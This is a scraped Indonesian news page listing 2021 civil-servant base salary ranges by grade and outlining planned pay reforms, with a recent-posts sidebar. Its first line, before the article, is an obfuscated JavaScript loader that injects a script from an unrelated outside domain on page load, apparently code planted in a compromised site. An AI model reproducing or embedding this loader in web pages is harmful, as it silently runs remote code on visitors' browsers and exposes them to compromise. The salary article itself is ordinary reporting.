(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Ini Daftar Lengkap Besaran Gaji PNS Golongan 1-4 Tahun 2021 Berdasar Skema Terbaru!


KANALKALIMANTAN.COM, JAKARTA– Badan Kepegawaian Negara (BKN) menyusun ulang rencana perubahan sistem pangkat dan gaji Pegawai Negeri Sipil (PNS) akhir tahun lalu.

Sembari menunggu hasil keputusannya, ketahui daftar gaji pokok yang diterima PNS tahun 2021. Begini daftar gaji PNS 2021 golongan 1-4?

Berdasarkan Peraturan Pemerintah (PP) Nomor 15 Tahun 2019 yang telah diubah delapan belas kali sejak dikeluarkannya PP Nomor 7 Tahun 1977.

Daftar besaran gaji PNS 2021 berdasarkan PP Nomor 15 Tahun 2019 untuk PNS golongan I-IV dihitung berdasarkan tingkat atau golongannya, yakni:

 

Golongan I (Lulusan SD-SMP)

1a: Rp 1.560.800 – Rp 2.335.800

1b: Rp 1.704.500 – Rp 2.472.900

1c: Rp 1.776.600 – Rp 2.577.500

1d: Rp 1.851.800 – Rp 2.686.500

 

Golongan II (Lulusan SMA dan D3)

2a: Rp 2.022.200 – Rp 3.373.600

2b: Rp 2.208.400 – Rp 3.516.300

2c: Rp 2.301.800 – Rp 3.665.000

2d: Rp 2.399.200 – Rp 3.820.000

 

Golongan III (Lulusan S1-S3)

3a: Rp 2.579.400 – Rp 4.236.400

3b: Rp 2.688.500 – Rp 4.415.600

3c: Rp 2.802.300 – Rp 4.602.400

3d: Rp 2.920.800 – Rp 4.797.000

 

Golongan IV (Eselon I-IV)

4a: Rp 3.044.300 – Rp 5.000.000

4b: Rp 3.173.100 – Rp 5.211.500

4c: Rp 3.307.300 – Rp 5.431.900

4d: Rp 3.447.200 – Rp 5.661.700

4e: Rp 3.593.100 – Rp 5.901.200.

 

Perubahan Sistem Gaji PNS

Kementerian Pendayagunaan Aparatur Negara dan Reformasi (Kemenpan RB) mencanangkan berbagai perubahan terkait sistem gaji PNS untuk tahun-tahun mendatang. Sistem gaji tersebut menjadi kebijakan yang didasarkan atas kondisi keuangan negara saat ini.

Sistem gaji akan ditentukan berdasarkan beban kerja, tanggung jawab, dan risiko perjalanan. Sedangkan skema tunjangan terdiri dari tunjangan kinerja dan tunjangan kemahalan.

Tunjangan kinerja didasarkan pada capaian kinerja masing-masing PNS dan tunjangan kemahalan dihitung dari indeks harga yang berlaku di daerah masing-masing.

Semula, sistem penggajian berbasis pangkat, golongan ruang, dan masa kerja.

Kini tengah proses perubahan sistem penggajian berbasis harga jabatan. Dikutip dari laporan Badan Kepegawaian Negara (BKN), pendapatan PNS yang sebelumnya memiliki banyak komponen, akan disederhanakan hanya terdiri dari komponen gaji dan tunjangan saja. (suara)

Editor: suara

 

 


Al Ghifari

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

7 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

7 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

9 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

10 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

11 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

11 jam ago

This website uses cookies.